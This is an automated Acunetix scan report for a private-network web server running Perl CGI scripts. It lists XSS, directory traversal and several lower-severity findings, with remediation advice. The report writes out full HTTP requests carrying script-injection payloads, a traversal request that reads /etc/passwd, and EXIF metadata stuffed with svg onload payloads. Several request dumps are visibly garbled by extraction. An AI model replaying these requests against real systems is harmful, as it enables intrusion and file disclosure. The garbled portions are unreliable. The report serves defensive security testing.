

Affected Items Report

Acunetix Security Audit

06 October 2019

Generated by Acunetix

Scan of 192.168.145.151

Scan details

Scan information	
Start time	06/10/2019, 13:52:06
Start url	http://192.168.145.151:6656/
Host	192.168.145.151
Scan time	22 minutes, 37 seconds
Profile	Full Scan
Server information	Apache/2.4.41 (Unix)
Responsive	True
Server OS	Unix

Threat level

Acunetix Threat Level 3

One or more high-severity type vulnerabilities have been discovered by the scanner. A malicious user can exploit these vulnerabilities and compromise the backend database and/or deface your website.

Alerts distribution

Total alerts found	19
1 High	8
Medium	2
① Low	4
① Informational	5

Affected items

/cgi-bin/file.pl	
Alert group	Cross site scripting (verified)
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	POST (multipart) input file was set to 1"'()&% <acx><script>IOKA(9442)</script></acx>
Referer: http://19	ipart/form-data; boundary=hkbqfXmTX92A 2.168.145.151:6656/ application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 zip,deflate 2
Haar Agant. Magill	2/5 0 (Windows NE 10 0. Winda. v.64) ApploWoby: + /527 26 (VIEWI like

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/73.0.3683.103 Safari/537.36

Connection: Keep-alive -----hkbqfXmTX92A

Content-Disposition: form-data; name="Submit!"

Submit!=Submit!

-----hkbqfXmTX92A

Content-Disposition: form-data; name="file"; filename="1'"

() & %<acx><ScRiPt >lOKA(9442)</ScRiPt>"

Content-Type: image/png

1'"()&%<acx><ScRiPt >lOKA(9442)</ScRiPt>

-----hkbqfXmTX92A--

/cgi-bin/forms.pl	
Alert group	Cross site scripting (verified)
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	POST (multipart) input age was set to 20""()&% <acx><script>OXSp(9951)</script></acx>

```
POST /cgi-bin/forms.pl?name=1 HTTP/1.1
Content-Type: multipart/form-data; boundary=-----I3EAIyRBZwel
Referer: http://192.168.145.151:6656/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 317
Host: 192.168.145.151:6656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
-----I3EAIyRBZwel
Content-Disposition: form-data; name="Submit!"
Submit!=Submit!
-----I3EAIyRBZwel
Content-Disposition: form-data; name="age"
20' " () & %< acx&gt; &lt; ScRiPt &gt; OXSp(9951) &lt; /ScRiPt&gt;
-----I3EAIyRBZwel
Content-Disposition: form-data; name="name"
fnfOzvSR
-----I3EAIyRBZwel--
```

/cgi-bin/forms.pl	
Alert group	Cross site scripting (verified)
Severity	High
Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.
Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	POST (multipart) input age was set to 20"'()&% <acx><script>Ge5j(9806)</script></acx>
Accept-Encoding: Content-Length: 3 Host: 192.168.145 User-Agent: Mozil Gecko) Chrome/73. Connection: Keep-Content-Disposition Submit!=Submit!	.151:6656 la/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 0.3683.103 Safari/537.36 alive cq2K5UZ on: form-data; name="Submit!" cq2K5UZ on: form-data; name="age" amp;% <acx><script>Ge5j(9806)</script> cq2K5UZ on: form-data; name="name"</acx>

/cgi-bin/forms.pl	
Alert group	Cross site scripting (verified)
Severity	High

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Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	URL encoded GET input name was set to 1""()&% <acx><script>a6qV(9919)</script></acx>
GET /cgi-bin/forms	s.pl?name=1'"

-bin/forms.pi?name=1'"

()%26%25<acx><ScRiPt%20>a6qV(9919)</ScRiPt> HTTP/1.1

Referer: http://192.168.145.151:6656/

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate Host: 192.168.145.151:6656

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/73.0.3683.103 Safari/537.36

Connection: Keep-alive

----5Td04q4jvRqE--

/cgi-bin/forms.pl

Alert group		
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Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page	
Alert variants		
Details	POST (multipart) input name was set to fnfOzvSR'"()&% <acx><script>OXSp(9079) </script></acx>	
Accept-Encoding: gzi Content-Length: 317 Host: 192.168.145.15 User-Agent: Mozilla/	51:6656 /5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 3683.103 Safari/537.36	

/cgi-bin/forms.pl	
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Description	Cross-site Scripting (XSS) refers to client-side code injection attack wherein an attacker can execute malicious scripts into a legitimate website or web application. XSS occurs when a web application makes use of unvalidated or unencoded user input within the output it generates.

Recommendations	Apply context-dependent encoding and/or validation to user input rendered on a page
Alert variants	
Details	POST (multipart) input name was set to fnfOzvSR'"()&% <acx><script>Ge5j(9994) </script></acx>
Referer: http://192. Accept: text/html, ap Accept-Encoding: gzi Content-Length: 317 Host: 192.168.145.15 User-Agent: Mozilla/ Gecko) Chrome/73.0.3 Connection: Keep-aliT6bigxs1 Content-Disposition: Submit!=Submit!T6bigxs1 Content-Disposition: 20T6bigxs1 Content-Disposition:	pl HTTP/1.1 part/form-data; boundary=T6bigxs1dBpp 168.145.151:6656/ pplication/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 p,deflate 1:6656 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 683.103 Safari/537.36 ve dBpp form-data; name="Submit!" dBpp form-data; name="age"

/cgi-bin/file.pl	
Alert group	Directory traversal
Severity	High
Description	This script is possibly vulnerable to directory traversal attacks.
•	Directory Traversal is a vulnerability which allows attackers to access restricted directories and read files outside of the web server's root directory.
Recommendations	Your script should filter metacharacters from user input.
Alert variants	
	POST (multipart) input file was set to
Details	File contents found:
	<pre>root:x:0:0:root:/root:/bin/ash</pre>

```
POST /cgi-bin/file.pl?/etc/passwd HTTP/1.1
Content-type: multipart/form-data; boundary=-----23780209327207
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 287
Host: 192.168.145.151:6656
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/73.0.3683.103 Safari/537.36
Connection: Keep-alive
-----23780209327207
Content-Disposition: form-data; name="file"
ARGV
-----23780209327207
Content-Disposition: form-data; name="file"; filename="1.txt"
Content-Type: text/plain
test
-----23780209327207--
```

/cgi-bin/file.pl

File upload XSS
High
This script is possibly vulnerable to XSS (Cross-site scripting). The web application allows file upload and Acunetix was able to upload a file containing HTML content. When HTML files are allowed, XSS payload can be injected in the file uploaded. Check Attack details for more information about this attack.
Restrict file types accepted for upload: check the file extension and only allow certain files to be uploaded. Use a whitelist approach instead of a blacklist. Check for double extensions such as .php.png. Check for files without a filename like .htaccess (on ASP.NET, check for configuration files like web.config). Change the permissions on the upload folder so the files within it are not executable. If possible, rename the files that are uploaded.
Successfully uploaded file AcuTestEXIF9623.jpg with content type image/jpeg . The file contains EXIF entries containing XSS payloads. It looks like the web application processed the image and displayed their values without proper sanitization.

POST /cgi-bin/file.pl HTTP/1.1

Content-Type: multipart/form-data; boundary=-----d5q02tsoYz7m

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate

Content-Length: 7136

Host: 192.168.145.151:6656

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/73.0.3683.103 Safari/537.36

Connection: Keep-alive ----d5q02tsoYz7m

Content-Disposition: form-data; name=" Submit!"

Submit!=Submit!

----d5q02tsoYz7m

Content-Disposition: form-data; name="file";

filename="AcuTestEXIF9623.jpg"

Content-Type: image/jpeg

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onload=alert'exif') >; NULNUL< NULSNULVNULGNUL
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onload=alert (7346763) > NULOUNULNUL fuck you toonulnulnuls oh? FF NULBELNULNUL BS FF NULNUL BS thulnulnul Fs?
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http://ns.adobe.com/xap/1.0/wuw<?xpacket begin=&apos;&apos;
id=' W5M0MpCehiHzreSzNTczkc9d' ?>
<x:xmpmeta xmlns:x=&quot;adobe:ns:meta/&quot;&gt;&lt;rdf:RDF
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:Description
rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b"
xmlns:dc="http://purl.org/dc/elements/1.1/"&qt;<dc:rights&qt;&lt;rdf:Alt
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:li
xml:lang="x-default"><svg
onload=alert(7346763)></rdf:li&gt;&lt;/rdf:Alt&gt;
</dc:rights&gt;&lt;dc:title&gt;&lt;rdf:Alt
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:li
xml:lang="x-default"><svg
onload=alert(7346763)></rdf:li&gt;&lt;/rdf:Alt&gt;
</dc:title&gt;&lt;dc:description&gt;&lt;rdf:Alt
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"><rdf:li
xml:lang="x-default"><svg
onload=alert(7346763)></rdf:li&gt;&lt;/rdf:Alt&gt;
</dc:description&gt;&lt;dc:creator&gt;&lt;rdf:Seq
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-
ns#" > < rdf: li&gt; &amp; lt; svg
onload=alert(7346763)></rdf:li&gt;&lt;/rdf:Seq&gt;
</dc:creator&gt;&lt;dc:subject&gt;&lt;rdf:Bag
xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-
ns#" > < rdf: li&gt; &amp; lt; svg
onload=alert(7346763)&qt;</rdf:li&qt;&lt;/rdf:Baq&qt;
</dc:subject&gt;&lt;/rdf:Description&gt;&lt;rdf:Description
rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b"
xmlns:MicrosoftPhoto="http://ns.microsoft.com/photo/1.0/"><MicrosoftPhoto
:CameraSerialNumber> & amp; lt; svg
onload=alert(7346763)></MicrosoftPhoto:CameraSerialNumber&gt;&lt;MicrosoftPhoto
:FlashManufacturer> & lt; svg
onload=alert (7346763) & amp; qt; < /MicrosoftPhoto: FlashManufacturer&qt; &lt; MicrosoftPhoto:
FlashModel&qt; & lt; svq
onload=alert(7346763)></MicrosoftPhoto:FlashModel&gt;&lt;MicrosoftPhoto:LensMan
ufacturer> & lt; svg
onload=alert(7346763)></MicrosoftPhoto:LensManufacturer&gt;&lt;MicrosoftPhoto:L
ensModel><svg
onload=alert(7346763)></MicrosoftPhoto:LensModel&gt;&lt;MicrosoftPhoto:LastKeyw
ordXMP><rdf:Bag xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-
ns#" > < rdf: li&gt; &amp; lt; svg
onload=alert(7346763)></rdf:li&gt;&lt;/rdf:Bag&gt;
</MicrosoftPhoto:LastKeywordXMP&gt;&lt;/rdf:Description&gt;&lt;rdf:Description
rdf:about="uuid:faf5bdd5-ba3d-11da-ad31-d33d75182f1b"
xmlns:dc="http://purl.org/dc/elements/1.1/"/></rdf:RDF&gt;&lt;/x:xmpmeta&
qt;
<?xpacket end=&apos;w&apos;?&gt;??nuLCNuLescsuBsuB) cs)A&amp;&amp;AB///BG?&gt;&gt;?
```

NUL?

----d5q02tsoYz7m--

/cgi-bin/file.pl	
Alert group	HTML form without CSRF protection
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
Recommendations	Verify if this form requires anti-CSRF protection and implement CSRF countermeasures if necessary. The recommended and the most widely used technique for preventing CSRF attacks is know as an anti-CSRF token, also sometimes referred to as a synchronizer token. The characteristics of a well designed anti-CSRF system involve the following attributes. • The anti-CSRF token should be unique for each user session • The session should automatically expire after a suitable amount of time • The anti-CSRF token should be a cryptographically random value of significant length • The anti-CSRF token should be cryptographically secure, that is, generated by a strong Pseudo-Random Number Generator (PRNG) algorithm • The anti-CSRF token is added as a hidden field for forms, or within URLs (only necessary if GET requests cause state changes, that is, GET requests are not idempotent) • The server should reject the requested action if the anti-CSRF token fails validation When a user submits a form or makes some other authenticated request that requires a Cookie, the anti-CSRF token should be included in the request. Then, the web application will then verify the existence and correctness of this token before processing the request. If the token is missing or incorrect, the request can be rejected.
Alert variants	
Details	Form name: <empty> Form action: <empty> Form method: POST Form inputs: • file [file] • Submit! [submit]</empty></empty>
GFT /cgi-hin/file nl	11mmp /1 1

GET /cgi-bin/file.pl HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate Host: 192.168.145.151:6656

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/73.0.3683.103 Safari/537.36

Alert group	HTML form without CSRF protection
Severity	Medium
Description	This alert requires manual confirmation Cross-Site Request Forgery (CSRF, or XSRF) is a vulnerability wherein an attacker tricks a victim into making a request the victim did not intend to make. Therefore, with CSRF, an attacker abuses the trust a web application has with a victim's browser. Acunetix found an HTML form with no apparent anti-CSRF protection implemented. Consult the 'Attack details' section for more information about the affected HTML form.
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Alert variants	
Details	Form name: <empty> Form action: <empty> Form method: POST Form inputs: • name [text] • age [text] • Submit! [submit]</empty></empty>

Referer: https://www.google.com/search?hl=en&q=testing

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/73.0.3683.103 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate Host: 192.168.145.151:6656 Connection: Keep-alive

Web Server	
Alert group	Clickjacking: X-Frame-Options header missing
Severity	Low

Description	Clickjacking (User Interface redress attack, UI redress attack, UI redressing) is a malicious technique of tricking a Web user into clicking on something different from what the user perceives they are clicking on, thus potentially revealing confidential information or taking control of their computer while clicking on seemingly innocuous web pages. The server didn't return an X-Frame-Options header which means that this website could be at risk of a clickjacking attack. The X-Frame-Options HTTP response header can be used to indicate whether or not a browser should be allowed to render a page inside a frame or iframe. Sites can use this to avoid clickjacking attacks, by ensuring that their content is not embedded into other sites.
Recommendations	Configure your web server to include an X-Frame-Options header and a CSP header with frame-ancestors directive. Consult Web references for more information about the possible values for this header.
Alert variants	
Details	
GET / HTTP/1.1	

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate Host: 192.168.145.151:6656

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/73.0.3683.103 Safari/537.36

Connection: Keep-alive

/cgi-bin/file.pl	
Alert group	File upload
Severity	Low
Description	This page allows visitors to upload files to the server. Various web applications allow users to upload files (such as pictures, images, sounds,). Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.
Recommendations	Restrict file types accepted for upload: check the file extension and only allow certain files to be uploaded. Use a whitelist approach instead of a blacklist. Check for double extensions such as .php.png. Check for files without a filename like .htaccess (on ASP.NET, check for configuration files like web.config). Change the permissions on the upload folder so the files within it are not executable. If possible, rename the files that are uploaded.
Alert variants	
Details	Form name: <empty> Form action: <empty> Form method: POST Form input: • file [file]</empty></empty>

GET /cgi-bin/file.pl HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate Host: 192.168.145.151:6656

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/73.0.3683.103 Safari/537.36

Web Server	
Alert group	TRACE method is enabled
Severity	Low

domains that support the HTTP TRACE method.
Recommendations Disable TRACE Method on the web server.
Alert variants
Details

TRACE /HgTCczZnNI HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate Host: 192.168.145.151:6656

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/73.0.3683.103 Safari/537.36

Connection: Keep-alive

Web Server	
Alert group	Unencrypted connection (verified)
Severity	Low
Description	This scan target was connected to over an unencrypted connection. A potential attacker can intercept and modify data sent and received from this site.
Recommendations	The site should send and receive data over a secure (HTTPS) connection.
Alert variants	
Details	

GET / HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate Host: 192.168.145.151:6656

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/73.0.3683.103 Safari/537.36

Web Server	
Alert group	Content Security Policy (CSP) not implemented
Severity	Informational
Description	Content Security Policy (CSP) is an added layer of security that helps to detect and mitigate certain types of attacks, including Cross Site Scripting (XSS) and data injection attacks. Content Security Policy (CSP) can be implemented by adding a Content-Security-Policy header. The value of this header is a string containing the policy directives describing your Content Security Policy. To implement CSP, you should define lists of allowed origins for the all of the types of resources that your site utilizes. For example, if you have a simple site that needs to load scripts, stylesheets, and images hosted locally, as well as from the jQuery library from their CDN, the CSP header could look like the following:
	Content-Security-Policy: default-src 'self'; script-src 'self' https://code.jquery.com; It was detected that your web application doesn't implement Content Security Policy (CSP) as the CSP header is missing from the response. It's recommended to implement Content Security Policy (CSP) into your web application.

Recommendations It's recommended to implement Content Security Policy (CSP) into your web application. Configuring Content Security Policy involves adding the **Content-Security-Policy** HTTP header to a web page and giving it values to control resources the user agent is allowed to load for that page.

Alert variants

Details

GET / HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate Host: 192.168.145.151:6656

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/73.0.3683.103 Safari/537.36

Connection: Keep-alive

Web Server	
Alert group	Error page web server version disclosure
Severity	Informational
Description	Application errors or warning messages may disclose sensitive information about an application's internal workings to an attacker. Acunetix found the web server version number and a list of modules enabled on the target server. Consult the 'Attack details' section for more information about the affected page.
Recommendations	Properly configure the web server not to disclose information about an application's internal workings to the user. Consult the 'Web references' section for more information.
Alert variants	
Details	

GET /tWpBHLyiTh HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate Host: 192.168.145.151:6656

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/73.0.3683.103 Safari/537.36

Connection: Keep-alive

Possible internal IP address disclosure
Informational
A string matching an internal IPv4 address was found on this page. This may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks. This alert may be a false positive, manual confirmation is required.
Prevent this information from being displayed to the user.
Pattern found: 192.168.145.151

GET /omBW8iZa2P.jsp HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate Host: 192.168.145.151:6656

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/73.0.3683.103 Safari/537.36

/cgi-bin/	
Alert group	Possible internal IP address disclosure
Severity	Informational
Description	A string matching an internal IPv4 address was found on this page. This may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks. This alert may be a false positive, manual confirmation is required.
Recommendations	Prevent this information from being displayed to the user.
Alert variants	
Details	Pattern found: 192.168.145.151

GET /cgi-bin/Qd40xr1oyx.jsp HTTP/1.1

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Encoding: gzip, deflate Host: 192.168.145.151:6656

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like

Gecko) Chrome/73.0.3683.103 Safari/537.36

/tWpBHLyiTh	
Alert group	Possible internal IP address disclosure
Severity	Informational
Description	A string matching an internal IPv4 address was found on this page. This may disclose information about the IP addressing scheme of the internal network. This information can be used to conduct further attacks. This alert may be a false positive, manual confirmation is required.
Recommendations	Prevent this information from being displayed to the user.
Alert variants	
Details	Pattern found: 192.168.145.151

Scanned items (coverage report)

http://192.168.145.151:6656/ http://192.168.145.151:6656/cgi-bin/

http://192.168.145.151:6656/cgi-bin/file.pl

http://192.168.145.151:6656/cgi-bin/forms.pl

http://192.168.145.151:6656/cgi-bin/hello.pl

http://192.168.145.151:6656/tWpBHLyiTh